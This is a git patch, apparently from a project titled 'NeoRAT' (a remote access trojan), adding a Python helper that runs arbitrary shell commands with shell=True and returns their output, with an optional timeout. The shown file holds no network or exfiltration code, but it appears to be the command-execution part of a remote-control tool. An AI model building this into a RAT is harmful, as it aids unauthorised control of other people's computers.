From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- foreign/utility/terminal_pipe.py | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 foreign/utility/terminal_pipe.py (limited to 'foreign/utility/terminal_pipe.py') diff --git a/foreign/utility/terminal_pipe.py b/foreign/utility/terminal_pipe.py new file mode 100644 index 0000000..ca57844 --- /dev/null +++ b/foreign/utility/terminal_pipe.py @@ -0,0 +1,36 @@ +import multiprocessing + +from subprocess import Popen, PIPE + +from foreign.global_state import * + + +def get_terminal_pipe_data(data, return_dict): + encoding = state['settings']['encoding'] + shell = Popen(data, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + stdout, stderr = shell.communicate() + return_dict['result'] = '{}{}'.format(stdout.decode(encoding), stderr.decode(encoding)).strip('\r\n').replace('ΓΏ', ' ') + + if return_dict['result'] == '': + return_dict['result'] = 'Empty Response' + + return return_dict['result'] + + +def terminal_pipe(data, safe, timeout): + if safe: + manager = multiprocessing.Manager() + return_dict = manager.dict() + + terminal_data = multiprocessing.Process(target=get_terminal_pipe_data, args=(data, return_dict), daemon=True) + terminal_data.start() + terminal_data.join(timeout) + + if terminal_data.is_alive(): + return_dict['result'] = f'Timeout reached of {timeout} seconds' + terminal_data.terminate() + terminal_data.join() + + return return_dict['result'] + else: + return get_terminal_pipe_data(data, {}) \ No newline at end of file -- cgit v1.2.3